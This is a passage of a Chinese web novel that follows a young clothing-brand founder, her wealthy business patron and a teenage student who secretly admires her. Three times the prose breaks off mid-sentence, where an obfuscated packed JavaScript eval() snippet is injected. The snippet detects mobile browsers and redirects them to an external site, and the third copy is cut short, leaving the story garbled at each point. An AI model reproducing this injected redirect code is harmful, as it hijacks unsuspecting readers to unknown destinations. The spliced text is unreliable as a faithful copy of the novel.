但群里一直有一个顶着自拍头像,名叫“菠萝”的人在上蹿下跳。他抢红包手气太差,一晚上只抢到了一百,缠着郑芳要她继续发。 绪东阳在心里对了一下人脸,没找到对应的人,便问了一句,“菠萝是谁?” “菠萝?”谈丹青“啊”了一声,说:“是郑芳的男朋友。” “哦。” “是不是特别闹腾,”谈丹青说。女生在这个世界上最看不上的男人,一定是闺蜜的男朋友。她特别不喜欢郑芳身边那些小奶狗。 “他也就比郑芳小几岁,今年都二十多了,老腊肉一条,还仗着自己年纪小,拿乔,”她骂骂咧咧:“总骗郑芳钱,烦死。” “他俩姐弟恋?”绪东阳问。 “对。”谈丹青回答。 “其实,也不是所有年纪小的,都这样。”绪东阳解释。 谈丹青抬头看了他一眼,说:“我没说你。人跟人肯定是不一样的。” 话虽这么说,但绪东阳还是能感觉到谈丹青根深蒂固的偏见。年纪小的男孩性情不定,和姐姐在一起就是图钱。 空气一时凝滞,只有鼠标的轻响在房间里回荡。 "后面都是些花絮了。"谈丹青点开文件夹,第一张照片猝不及防地撞进视线——画面背景里,道具凌乱,人影模糊,她正在开导着绪东阳。 这张图本没什么可值得说到之处,除了绪东阳的那双眼睛。 他正在看她。 不是随意的一瞥,也不是礼貌性的注视,而是一种近乎研究的凝视。瞳孔微微收缩,睫毛在眼睑下投出细密的阴影,眼尾的弧度因为专注而显得比平时更加锋利。 带着某种未加掩饰的探究和......她读不懂或者不想去读的情绪。 指尖微不可察地颤了颤,谈丹青下意识就要滑动滚轮。 "这张发我。"绪东阳突然开口。 谈丹青动作一顿,意外道:"你喜欢这张?" "对。"没有解释,也没有多余的话。 谈丹青垂下眼睫,将照片拖进传输窗口:"行,发你了。" * 这一周,谈丹青忙得脚不沾地。发货发货还是发货,她在变富婆的康庄大道上纵马奔腾! 时间捱到周五,谈丹青带着公司资料去mcn见吕力鼎。 吕力鼎说:“你先等五分钟,” “好。”谈丹青在等候室,一遍又一遍将内容熟记于心。 一个多小时后,终于有人来敲门,请她去圆桌会议室。 走进会议室,谈丹青将文件一一放在高管们面前。 “怎么这么点粉丝量还上会?”其中一人翻开第一页,脸色就变了。 吕力鼎忙低声说了一句:“这位是……魏总的女朋友。” 这句话令抱着资料的谈丹青有一种反胃的不适。 “哦……”那人脸色立刻和颜悦色起来,抬抬手说:“那继续吧。” 会议结束,谈丹青觉得自己表现得还不错。 至少前半场大家还在玩手机,后半场愿意看她了。 “谈小姐,后面我们会再联系你。”吕力鼎和她握手,态度有些殷勤。 “好。谢谢。”谈丹青礼貌地应下。 从玻璃大厦出来后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582128|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在车上给魏繁星发了消息。 Tdq:【会议结束了。】 魏繁星:【好,我来接你。】 Tdq:【不用,我开车来的。】 魏繁星:【ok】 他发来一个地址,地点在他们上次见面的X俱乐部。 上次她来X去的是一楼包厢,这次魏繁星叫她上二楼来。她拾阶而上,看到走廊墙面上全是敦煌风的壁画,中式屏风和立灯,是完全不同的格调。 谈丹青推门进去时,刚好里面人台球一局结束,在一旁笑闹,模样都很周正。其中一位桃花眼的,见她进来,立刻扭头唤了一声:“繁星。” 魏繁星正背对着她玩牌,一双修长白净的手拢着牌。听到她进来,说:“你先坐会儿吧。都是朋友。” 场内都是魏繁星的朋友,谈丹青第一次来,有些拘束。她找了一个安静的角落坐下。魏繁星的朋友过来陪他说话,说的内容她也不太懂,大概是金融股票之类,夸赞魏繁星上个月高位套现,风光无二。 “听说谈小姐也是做生意的?做什么生意?”有人问她。 “服装。”谈丹青向来对自己的公司大大方方,但今晚不知怎么,莫名声音矮了一头。 “哦,服装啊。”那人虽有些不屑,但还是说着场面话:“不容易啊!实体经济可不都靠你们。” 谈丹青觉得怪无聊,坐了一会儿就开始玩手机。 意外看到一个多小时前,绪东阳给她发了两条消息,问她晚上回不回来。但当时包厢太吵了,她没有听到。 她莫名其妙地有点想找绪东阳说话。 跟他说话,至少要比在这里听这些人吹牛舒服,登味没那么重。 点开对话框,聊天界面还停留在照片上。她下意识又关掉了。 魏繁星终于打完了一局,起身,贺达接了他的位置,拾起牌面一看,嗤了好大一声:“这么好的牌面,你不打了啊?” “谈小姐来了啊,心哪儿还在牌桌上。”周围人你一句我一句嬉笑着调侃。 魏繁星便带着她到旁边安静一点的棋桌前说话。 魏繁星给她倒了杯酒,说:“开完会,小吕就跟我打电话了,说你今天表现得不错。” “谢谢。”谈丹青觉得有些渴,喝了口酒,才发现酒水度数不低,灌喉咙时有些发麻。 “我在会上,听到吕总介绍我,说我是你女朋友。”谈丹青说。 魏繁星反问她:“介意?” 谈丹青抿了抿唇,没说什么。 “他们要不这么说,你的事成不了。”魏繁星点了根烟。寥寥青烟从他那只养尊处优的手缝隙间升起。 他拿懒散的眼睛觑着她,问:“多大?” “我么?” “嗯。” “二十四。”谈丹青说。 “再磨几年吧,”魏繁星笑笑,说:“太年轻了,这种事挺正常的。这叫借势。多的是人,跟我没关系也要绞尽脑汁地扯上关系。” “可能吧。”谈丹青扭头看向窗外,霓虹灯光倒影在琥珀色的眼睛里。 “是不是觉得这里太吵了?”魏繁星问。 “嗯,有点。” “那找个安静点的地方,”魏繁星说,“去我那儿?” 他看着她,暗示的表情昭然若揭。 “今天太晚了。”谈丹青轻声拒绝。 “好。”魏繁星不再坚持,说:“我送你回去吧。” “我开了车来。”谈丹青说。 “忘了?”魏繁星嘴角微扬,笑笑,说:“你喝酒了。” “哦……对。”谈丹青一怔。 “无妨,我送你。”魏繁星说,“车交给门童。” 上车后,魏繁星没有再提刚才不合时宜的气氛。车内安安静静的,只有车载广播温柔的女声在流淌。驶入小区,谈丹青说:“到了,就在这儿。” 魏繁星提前下了车,为她拉开车门。 “我上去了。”谈丹青说。 魏繁星目光忽然越过她肩头,"那是...你弟弟?" 谈丹青回首,看见绪东阳拎着黑色垃圾袋,雕塑般立在门前。路灯将他的影子拉得很长。 16. 第 16 章 “啊,这是我弟弟的同学。”谈丹青介绍道。 魏繁星微敛眸,目光自上而下扫了过去。 少年人还是太稚嫩,没来得及学会如何伪装起自己的欲望,眼里赤裸裸的敌意,像把出鞘的刀。 他不动声色地将手搭在车门上,护着谈丹青下车。 “那这孩子怎么在你家?”语气带着三分随意。 “哦,他家有点事,借住在我这儿。”谈丹青解释,她转头对绪东阳说:“下次叫谈小白自己滚下来扔垃圾,总使唤你是几个意思?” 绪东阳好像没听见。昏暗的金色街灯给他的轮廓镀了一层冷釉,他不加遮掩地死死盯着魏繁星。他怎么可能不认得这张脸?他不知道在搜索引擎上输入魏繁星的名字多少遍。 谈丹青见绪东阳迟迟没上楼去,说:“不用等我了,你先上去,我待会回。” 少年唇角绷紧,然后突然“砰”地一声将垃圾袋砸进金属垃圾桶里。 金属桶身震颤的余韵在夜色中久久回荡。 这一声巨响仿佛让街边电线杆都跟着晃起来, 谈丹青被这一声惊得有些愕然。绪东阳虽然看起来不好惹,但除了第一次见面,平时他的行为举止都挺有规矩礼貌。 “他应该没看清垃圾桶在哪儿。”她有些蹩脚地同魏繁星解释。 “嗯,没事,小孩儿。”魏繁星温和地笑了笑。 “那我就先上去啦。”谈丹青说。 “嗯。” 谈丹青往前走,但走了几步,魏繁星却没回车里。她回头看,魏繁星正倚着车身看她。他对她笑笑,说:“我看着你上去。” “好。” 那道目光如有实质地烙在后背上,谈丹青听着自己的脚步,“哒哒”上了楼。 解指纹锁开门,客厅里只有玄关处壁灯亮着,绪东阳的房门紧闭,茶几上却放了一杯黄澄澄的蜂蜜水,杯口冒着热气,旁边放了一板铝箔药。 谈丹青有些意外,心道谈小白今晚怎么这么细心? 以前他只会咋咋呼呼地把解酒药连盒塞给她。 今晚谈丹青其实没喝几口酒,犯不着吃醒酒药。 醒酒药扔回药箱,谈丹青喝下温热的蜂蜜水,顿时感觉精神又振奋了许多。 小腿肌肉还在隐隐抽痛,八厘米的高跟鞋果然不是白穿的。她蜷在沙发里揉捏脚踝,手机屏幕突然亮起,魏繁星的名字跳了出来。 繁星:【今晚的事,不必多想。】 谈丹青盯着手机屏幕,迟迟没有回复。 她并不讨厌魏繁星。魏繁星成熟稳重,多金英俊,身上有一种独特的魅力。但每次站在他身边,她总觉得自己好像在和他跳探戈,进进退退,虚虚实实,原地转了一圈又一圈。看起来裙摆纷飞,可始终是他始终掌控了所有节拍。 她的名字就好像被用小刀一点点磨去了。她不再叫“谈丹青”,她叫“魏繁星的女人”。她的作品也不叫“丹心”,而是“魏总推荐来的”。她本来也是发光体,但因为太靠近魏繁星,于是她身上的光芒便被吞噬。 Tdq;【多虑了,我分得清商务往来和私交】 繁星:【笑脸。】 繁星:【还有,别忘了欠我顿饭。】 Tdq:【不会忘。】 关闭对话框,谈丹青洗漱护肤,顶着熊猫面膜临睡前点开公司的账号。 新款海报发出去后,热度一直很不错。但因为没有幕后推手稳定推流,在最高峰流量过后,账号还是进入了静默期。即便如此,因为新增的粉丝数目也非常可观。 新款内衣评论区热评不断: “啊啊啊啊!这款真的是我穿过最好穿的内衣!!!!没有之一!!!” “穿上真的超级超级超级好看!很显胸型!重点是!没有副乳!!!没有副乳!!!没有副乳!!!重要的事说三遍!” “姐妹,这款内衣的肩带如果在碎花裙子吊带外露出来一点,真的非常非常美腻!” 楼内回复:“姐妹你好美……” 楼内回复:“姐妹你好美……”*20 “爆言,内衣就应该女生设计!死gay子设计个毛蛋。” “附议……” “附议……” “附议10086!” “我要带着【内衣配图】走遍所有评论区……” 评论区还在不断刷新,谈丹青鲤鱼打挺地从沙发上跳了起来。她到底垂头丧气干嘛呢?这太不像她了!她是谁啊?她是谈丹青!她就这么厉害,这么美丽,这么优秀!她的名字,和谁放在一起都是最亮的。就算在星星旁边,她也是太阳。 另一边,谈小白正在跟他的作业奋力缠斗,“不是,我说哥们,你到底在看啥?” 绪东阳自从下楼扔垃圾回来后,就像老树生了根,立在窗户前往下看。他作业没写的时候他站那儿,这会儿他数学都写完了,他还站那儿。 谈小白好奇地凑到窗户旁,顺着他的视线也往外看——楼下什么都没有,就见路灯树荫里,停了一辆黑色泛银光迈巴赫。 他家这片算得上高档小区,迈巴赫很常见,但饶是如此,谈小白也不禁感慨了一句:“嚯,这辆车太高级了吧!” “MaybachLandaulet限量版,6.0TV12双涡轮。”绪东阳说。 “我靠,”谈小白惊讶道,“你这都知道!” 绪东阳没说话。 他爸前几年也买了一辆,扔车库了,但配置魏繁星没有这个高。 “太壕了吧……”男生都喜欢车,谈小白也目不转睛地看了起来。 绪东阳的声音很冷很顿,问他:“你想要一个很有钱的姐夫?” “哈?”谈小白无法理解地瞪着绪东阳,说:“你这话说的……这不废话呢?我不想我姐嫁个有钱人,我想她嫁吃软饭穷逼啊?” 绪东阳的表情更难看了。 “没这么多钱,但也可能心很真。”绪东阳说。 “呵,”谈小白不屑地说:“我姐之前那个,就是个没钱的呢,结果……算了,”一说到那人谈小白就一肚子火,提都不想提,“总之,男的没几个好东西,既然都不是东西,那就挑一个有钱的不是东西呗。” 话说到一半,谈小白这才注意到绪东阳的表情,他也整不明白绪东阳今晚到底在这儿阴郁个啥,他打了个哈欠,伸着懒腰说:“哎,搞不懂了,反正我回去睡了。” “滚回来。”绪东阳冷酷地说,“数学卷子最后一题。” “我的妈呀……”谈小白哀嚎一声,整个人像泄了气的皮球一样瘫在椅子上。他欲哭无泪地瞪着桌上那沓试卷,肠子都悔青了——当初要不是他多嘴提议让绪东阳暂住,现在至于天天被按着头写作业吗? 绪东阳继续看着窗外,那辆迈巴赫突然亮起双闪,远光灯刺破树影,缓缓驶远。 他看着车灯,嘴唇蠕动,无声地说:“谈丹青,你他妈眼光好一点行不行?” * 秋意渐深,窗外的梧桐叶已褪尽最后一丝金黄,谈丹青站在落地窗前,呵出的白雾在玻璃上晕开一小片朦胧。魏繁星从她家楼下开车离开后,就没有再主动联系过她。但他的确如同她承诺的,在商言商,她顺利和mcn公司签订了一份五年制合约。吕力鼎承诺会给她的品牌一定的扶持和帮助。 这几天谈丹青着手请人做品牌设计logo,看了很多个,但一直不怎么满意。她把设计师折磨疯了,把郑芳折磨疯了,也把自己折磨疯了。 “少点东西,少点东西,少点东西。”谈丹青说。 “少点啥?”郑芳说:“五彩斑斓的黑?” 谈丹青:“……” 郑芳:“不气你啦,你慢慢想吧。我反正要去约会了。” 谈丹青:“羡慕。” “谁叫你不谈?略略略!”郑芳说:“不是没灵感么?出去转一圈,谈个小男朋友灵感就来咯。” 谈丹青刚挂断电话,谈小白就殷勤地递上了香喷喷的手抓饼,“吃饼。” “有事说事,没事滚蛋。”谈丹青说。 “那个,姐……都说好几天了,你今天下午能来看我打球不?”谈小白说:“我篮球队的。” 谈丹青意外,“你?篮球队?” 谈小白:“……姐,你能不这么看不起人吗?” “你打什么位置?”谈小白问。 “替补。” 谈丹青:“……” 谈小白:“别小瞧替补啊!还是绪东阳帮我走后门,好不容易当上的。” 谈丹青竖起大拇指,说:“光荣。” “说不定就摸到球了呢。”谈小白也不害臊,兴致勃勃地说:“我上不了场还能看绪东阳,绪东阳是主力。” 绪东阳是篮球队主力,谈丹青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594475|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是一点不意外。就他长的这幅样子,合该是校园里的风云人物,学习体育样样行,将小女生迷得忘不掉。只可怜了她弟,要跟绪东阳抢女朋友,这怎么可能抢得到? 她生意也忙,抽半天去看小孩打球实属奢侈,所以她也不能轻易许诺谈小白什么。 “下午几点?” “中午吃完饭过来就行。” 谈丹青掏出手机看备忘录,说:“知道了。” 这天谈丹青到了下午,所有事全部奇迹似的解决了。她坐在车里,降下玻璃窗,一边听吹风,一边听车载广播,一项一项将代办事项清了一遍。直到看见这【篮球比赛】条备忘录,她才想起来了她那便宜弟弟。 刚好她车停的位置离谈小白学校也不远。于是谈丹青踩了脚油门,打转方向盘过去。 停车场已经停了不少车,看来也有家长到学校来。操场上已经有人在打球,叫喊声和拍球声不绝于耳。谈丹青慢慢踱了过去,没看见谈小白的身影。 谈丹青心想这小子不会真连球都摸不上呢。 她翻出手机要给谈小白打电话。 “谈丹青。”身后传来熟悉的声音。 谈丹青回过头,就见绪东阳站在她身后。他穿着红色运动服,单手拿着一只篮球,右手手腕上带了一只黑色护腕。他身上有热气,但却还没有到满身大汗的地步,看起来干净清爽,散发着阳光和清新的气息。 这一瞬间,谈丹青觉得自己仿佛被阳光晃了一下眼。不是因他健康挺拔的外形,而是他形象之外的,那股唯独这个年纪少年人才有的精神气。 “小白呢?”她往后退了一步,刻意与绪东阳拉开距离。 “他还在睡午觉,没出来。”绪东阳领着谈丹青往球场走,“比赛下午两点开始,现在在热身。” “哦。”谈丹青随口问了一句:“你打什么位置。” “前锋。”绪东阳回答。 他手上缠着白色绷带,指尖顶着球,打出一个漂亮的圈,跟谈丹青解释了篮球队里“前锋”是干什么的。 “你会打吗。”谈丹青听见绪东阳突然问她: “会啊。”谈丹青的胜负欲立刻挑了起来, 绪东阳没说话,只是目光下移,最后落在她脚上一双黑色细跟缎面高跟鞋上。 今天下午她本来要去见一位合作伙伴,所以穿了一身职业套装。上身白色丝绸花领衬衫,下身黑色及膝荷叶边包臀裙,浅灰色玻璃丝袜让两条腿显得细而直。这身打扮,的确不适合打球。 但谈丹青非就不愿叫人看瘪了,说:“球给我。” 绪东阳自然没有动。 谈丹青便一拍,将球抢了过来。 她四肢纤长,很有运动天赋,以前在学校成绩不咋滴但也打过球,她拍了几下找了找手感。 操场少见女生打球,更少见穿裙子的女生打球,尤其是这么漂亮的。 一瞬间好几名少年过来围观。 谈丹青抱着玩一玩的心态,原地投了个三分,没想到真进了,还是个标准“三不沾”——不沾篮筐,不沾篮网,不沾栏板。 “好球!” “漂亮!!” “再来一个再来一个!”几声夹带口哨声的喝彩爆发出来。 谈丹青不仅也飘飘然起来,她还想再玩一个花样,结果脚上那双高跟鞋到底太细了点,右脚突然陷进场地缝隙,身形一晃,世界瞬间倾斜—— “小心。”绪东阳立刻将球挡开,另一只手扣上她的手腕。惯性让谈丹青整个人撞进他怀里,薄荷味的汗水气息扑面而来。 篮球在地上转了两圈,滚老远。 他给她一条手肘挡支撑,让她将身体大部分重量靠过来。谈丹青借着绪东阳的力,站直,原地扭了扭脚踝。只是虚惊一场,万幸没有真崴脚,只是拧了一下 绪东阳皱着眉,垂眸看她的鞋,冷冰冰地说:“你穿的这是什么鞋?怎么跟这么高?” 谈丹青觉得绪东阳其实原话是想说——你穿的是什么破鞋。但因为礼貌和教养问题,才当着她的面硬生生将“破”字吞了回去,所以声音里还留了点余音。 她气得直翻白眼,小声嘀咕了一句:“知道什么是华伦天奴吗?小土狗。” “能走吗?”绪东阳皱眉问。 谈丹青还想逞强,但脚踝处却是锥心的阵痛。 “我背你到站台。”绪东阳说。 17. 第 17 章 包臀裙根本没法背——裙摆太窄,双腿稍一分开就会绷紧布料,而且姿态会极其难看。绪东阳很快就意识到,手臂一沉,改从她膝弯下抄过,将她整个人打横抱了起来,大步流星往站台走去。 脚上最疼的那一下其实很快就过去了,残留的是麻。 谈丹青蜷缩在绪东阳的怀里。他的胸膛坚硬宽阔,运动服散发出被阳光晒过的气味。 他走得飞快,但步履很稳,以至于让她生出一种稀奇的安稳感,仿佛可以完全信赖地将自己的重量托付给另一个人。 这种感觉既危险,又令人隐蔽地享受。 她其实很少有被背着抱着的记忆。 大部分时候,是她背着谈小白到处跑。 那小子小时候沉得像铁棒槌,有一次她实在背不动,又怕把谈小白摔成白痴,只好让自己双膝先着地,摔得惨兮兮。 或许她小时候谈国庆其实也这么背过她,只是这段记忆太久远了,所以她完全不记得,于是现在这种晃动感,唤醒了她可怜的童年回忆。不过,这种事谁知道呢? 她分了神,在绪东阳后背上难得安静。 绪东阳一心焦急谈丹青腿上的伤。 方才谈丹青崴的那一下突然,他没看清,不知道到底有多严重。 步伐越迈越快,很快就将其他人远远甩在身后。 怀里的重量轻得让他心惊,像捧了一团随时会散的云。 温热的鼻息一下又一下轻拂在他后颈与衣领交界的那一小块皮肤上。初冬天气寒冷,每吐出一口气,都会在唇间凝成一团白雾,于是那一圈被她气息熨过的皮肤,尤为灼热。 站台近在咫尺,就在即将要跨到站台前的那一刻,他的双腿却突然好像灌入了铅,一点点往下沉。像是身体开始和意志对抗,硬生生将他拖住。 他不想将她放下来。 “坐这儿。”绪东阳将谈丹青轻轻放在站台边缘。 谈丹青并拢双腿坐下,裙摆微微上缩,露出一截白皙的小腿。 绪东阳她身前半蹲下,俯身伸手就要去碰她的腿。谈丹青看着绪东阳那只缚着一圈白色绷带的粗糙的手径直伸来,不知道为何,心头突然一紧,下意识想将伤着的脚缩到另一只脚的后面,两腿斜斜并拢。 “没事了,已经不痛了。刚刚……刚刚就吓着了。” 绪东阳却不由分说地扣住了她的脚踝,将她躲躲藏藏的脚拖了出来,谈丹青后背顿时僵住。 拇指按上她的踝骨,一股酸胀感顿时顺着脚背蜿蜒而上,顺着她的脚背,一路往上爬。 这种感觉如同细小的电流爬过每寸皮肤,并不特别痛楚,但难以忽略。 就在她快要忍不住想踢开他时,绪东阳终于放开手,声音低低沉沉地,“嗯,没伤着。” 谈丹青别过脸去,喉咙干得冒烟,“我都跟你说了啊” 操场上聚集的学生越来越多,很多人在奔跑打闹。 她望着着那些跳动的身影,抬手在耳边扇了扇风,问:“有水吗?有点渴。” 绪东阳打比赛时,总有很多女生过来送水,农夫山泉、可乐、雪碧、脉动、营养快线……琳琅满目跟开小卖部似的。 但这些水绪东阳从来不碰,他只喝自己那个磨得发亮的黑色运动水杯里的水。 但谈丹青肯定不能用他用过的杯子,小卖部离这又有几百米…… 他拿了一瓶篮球队准备的矿泉水给谈丹青。 谈丹青拧瓶盖,轻轻一拧就开了,她特意问:“这是你喝过的吗?” “没。”绪东阳说,“刚拧开的。” “那就好。”谈丹青低下头,喝了一口。冰凉的水濡湿了微微发干的嘴唇。 挪开水杯,绪东阳的背包露出一本摊开的软皮抄。谈丹青余光一扫,瞥见纸页上的一道线条——干净利落的一笔,勾勒出一个女人优雅的侧脸轮廓。 “等等……”还真是灯下黑。她总觉得他们的logo少了点什么,但又说不上来,现在终于破了案。原设计太冷硬了,少了柔美的神韵,而眼前这条弧线,恰好补上了灵动的女性特质。 “这是你画的?”她惊异地问。 绪东阳几乎是条件反射地合上了本子。 “嗯。”含糊应了过去。 “我能拍一下么?”谈丹青指了指那道线条 “拍?”绪东阳拧眉,没立刻领会她的意思。 谈丹青说:“我想把你画的这个侧脸的图案,加到我们的logo上,行么?” 绪东阳眉头微蹙,沉默两秒,才稍稍松懈紧攥着笔记本的手掌,递给了谈丹青。 谈丹青心满意足地拍照,一连拍了好几张,好几个角度。 绪东阳目光落在她回看照片的侧颜上,她脸颊被金色的阳光照出细细的绒毛,红艳的嘴唇往上轻巧地勾着。 也真够无可救药的,都设置成朋友圈背景图了,结果却连这张侧脸是谁,都认不出来。 了却心头最大的石头,谈丹青整个人都阳光明媚,眯起眼睛晒太阳。 她故意睨了绪东阳一眼,揶揄道:“我就说呢,还说没喜欢的人,都偷偷画人家小姑娘了。” 绪东阳“啪”地合上笔记本,一把塞回包里,对她再多一个字都欠奉。 “姐!你真来了?”这时谈小白跑了过来。 “你不是今天比赛吗?”谈丹青笑了起来,眉眼如画,“我能不来啊?” “嘁。你肯定今天没事。”谈小白嘴上这么说,但心里却已经美得冒泡,不停地跟周围同学炫耀说:“对,对啊,这是我姐。” “对,亲姐。” “DNA?那倒是没测过……” 有同学开玩笑,“亲生的你怎么跟你姐长得不像,你姐这么漂亮,你……emm……” “滚你妈的,亲生的,亲生的!”谈小白满场上蹿下跳,“老子也是校草好不好!” …… “绪东阳,谈小白,你们还在这儿啊!比赛快开始了,裁判叫你过去。”有队友跑了过来催促归队。 “好。”绪东阳应了一声,转头看向谈丹青。 谈丹青说:“还不快去!” “嗯。”绪东阳点点头,领着谈小白一起过去。 站台上同学越来越多,少年平日里看到的都是素面朝天身穿校服的同龄人,头一次见到谈丹青这样像电影明星一样的明艳夺目的大姐姐,被吸引得目不转睛。还有胆大一点的,甚至蠢蠢欲动想找谈丹青要微信。 女生投来的目光,则羡慕又向往:“那就是谈小白的姐姐吧?她好漂亮啊……” 包包好漂亮,裙子好漂亮,高跟鞋好漂亮,指甲好漂亮,就连飘扬在空中的乌黑的头发丝,每一根都精致又漂亮。她们在青春期望向未来那一头的自己,大概就是这样的形象。 “你是……绪东阳的姐姐吗?”几名女同学你推我搡的来到了谈丹青面前。 “不是。”谈丹青回答:“我是谈小白的姐姐。” “哦哦,那你认识绪东阳吧?”几名女同学试探着说:“可以给我们绪东阳的微信号么?” “这个我做不了决定,”谈丹青说:“但我帮你们转交。” “好!谢谢了!”女孩儿们笑盈盈地飞走。 谈丹青垂眸看着手中的饮料,小卡片,情书。小女孩儿怎么都这么可爱啊。谈小白要是妹妹就好了。 身侧玻璃窗上,倒影出了她的影子。她清楚地看到了自己。许多人都会闭着眼睛催眠自己,认为岁月并没有在脸上留下痕迹。认为自己会在猜年纪的环节胜出,永远只有十八岁。其实不会,只要重新回到校园,就会清晰地感受到那青春的冲击力。皮肤,眼睛……尤其是眼中的神,那单纯的青涩的东西,是永远回不去的。 不过,谈丹青并不觉得多难过。 她相反更喜欢现在的自己,不再战战兢兢,不再唯唯诺诺,大方悠然而又自洽。 这时哨音一响,全场欢呼雀跃,比赛正式开始。 篮球从裁判手中一击脱,立刻传入绪东阳手中。 他压低重心,左手运球,右臂横挡,防守队员紧贴上来,假动作晃开空当,起跳,出手…… 篮球划出平直的轨迹,穿过篮网时带起一阵白浪,记分牌翻动,场边再次爆出震天的喝彩。 谈丹青也被热烈的气氛感染,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谈丹青轻轻吸了口气,“好。” 比赛结束的哨音响起,65比32,碾压式胜利。 欢呼声里,队友击掌庆祝。 绪东阳走下赛场,鹰隼似的眼睛在观众席上搜寻着,终于锁定了那道纤细窈窕的身影。 但那人却在往外走,转眼就上了一辆黑色轿车。 他也不知道自己到底在做什么,从车棚提起单车就走。 为什么要追?怎么可能追得上?追上了又怎么样?他什么都不知道,他只觉得全身的力气,和胸腔里翻涌着一股无处宣泄的冲动,在这一刻必须找到一个出口。 昂贵的高档轿车优雅地穿行在车流中,像一尾游弋的黑鱼,很快就驶入了拥挤的主干道。 单车轮胎碾过积水,挡泥板溅出一串泥点。横在他前方的那对猩红的尾灯,就像一双冷眼嘲笑他的眼睛。 车上,谈丹青正专心致志地垂头编辑着微信短信。 她将那些女孩儿的联系方式还有小礼物全都拍给绪东阳,然后认真打着字:【对女生要有礼貌,即便不喜欢人家也要把话讲清楚。】 【还有,平时不要总这么独,和同学相处活泼一点。知道十二生肖为什么,狗进去了,狼没进吗?就是因为太独了!】 …… 谈丹青还在低头敲字,魏繁星的目光却无意间瞥见后视镜里那个奋力追赶的身影。 少年的身影在钢铁洪流里时隐时现,他竟然追得这么快,这么莽,有好几次俯身疾冲,加速,竟真要被他追上。 白皙修长的手指轻叩真皮座椅,魏繁星发出一声冷淡的嘲笑。 追车?什么年代了?太老土。 “开快点。”他忽地温声提醒司机。 “是。” 谈丹青从手机抬头,问:“很赶时间?” “不急。”魏繁星目光掠过倒车镜里那个倔强的黑点,“只是我习惯将所有人都甩远一点。” 18. 第 18 章 这年江城冬月始终没有下雨,呼吸时鼻腔隐隐作痛,空气干燥得能听见静电噼里啪啦响。可绪东阳却觉得自己似乎一直就在雨里。 徐丽又发了新的朋友圈:悉尼湛蓝的天空下,绪北远在博物馆音乐喷泉表演前踮起脚。 只要她愿意多嘴问一句家政阿姨——他怎么样了,就会知道他已经很久没回过家。 但徐丽到现在都不知道。 俱乐部那边,去得更勤了。想发泄,也想赚钱。每次回来,多少都带了点新伤。 这种低沉的情绪,断断续续影响到月考结束。 月考排名一放榜,谈小白泥鳅似的挤进人群。他还是像往常那样从尾巴往前找,结果数得眼前都泛重影了,也没找到自己的名字。 就在准备放弃时—— “谈小白,”他几乎是大声吼出来,“我艹,250!” “谈小白,我不许你这么说自己。”后排的李远憋着笑接话。 但当发现谈小白是真的飞升年级250后,李远笑不出来了。他挤到公告栏前,几乎要把纸面盯出个洞来:“我去,真250!” 谈小白喜欢嘚瑟,这个牛不吹,如锦衣夜行。 他故意拖着脚步回到教室,逢人就苦着一张脸,长吁短叹:“哎,哎,这次没考好,没考好。赵峰,你考多少?” 赵峰:“我也没考好。” “多少名?” “450,你呢?” “哎。”谈小白用成绩单擦眼泪。 赵峰一眼晃过去,看清谈小白成绩单上的排名,拍案而起:“艹,你都前300了,还搁这儿装呢?” 谈小白笑得前俯后仰,差点从椅子上跌下去。 “说好了,好兄弟,一起走,谁先飞升谁是狗。”赵峰说。 谈小白:“汪汪汪!” 谈小白这一波仇恨值拉满丝滑小连招,万不敢在绪东阳跟前演,绪东阳年级13。 他在学校遇到他都贴着墙角走,生怕被抓回去做题。 眼看着绪东阳回来了,谈小白把成绩单往背后一藏,脚底抹油就要开溜,却被绪东阳长腿一伸拦住了去路。 那张薄纸被抽走时,谈小白仿佛已经听见了"就这?"的嘲讽。 没想到绪东阳看完,仔细折好还给他,说:“进步挺大。” 谈小白其实很聪明,只是从小成长的环境给不了他应有的学习氛围,所以他做题没方式方法,总心浮气躁。于是陷入——越做题,错越多,越不愿意继续做——恶性循环里。他不过只是将谈小白从这个怪圈里拎了出来。 但他对自己的成绩,并不大满意。 排名名次看起来虽然还不错,但他知道自己退步了。 排名越往上走竞争越激烈。高手过招,大家装分都差不多,看的就是微操,最后结果失之毫厘差之千里。 谈小白没察觉绪东阳的情绪不好,咋舌地瞻仰完他的成绩单后,感慨道:“你考这么好,我姐肯定会高兴死。” “我考得好,她会高兴?”绪东阳的声音突然轻了几分,指尖无意识地攥着成绩单边缘。 “当然了啊,”谈小白认真地说:“我姐怎么对你,你还感觉不出来?她真心把你当弟弟的。” 绪东阳心往下坠了坠。 两人一前一后骑自行车回到家,谈丹青也在家,谈小白一进门就向谈丹青邀功。 “姐,猜猜我这次月考多少名。”谈小白洋洋得意,眉毛都快飞出发际线了,活像只等着领赏的哈士奇。 谈丹青正在跟设计师对接logo的细节设计,听罢,柔声说:“你等我一下。”然后去厨房提起扫帚就出来了——“还要我猜?老老实实报给我,然后过来领打。” 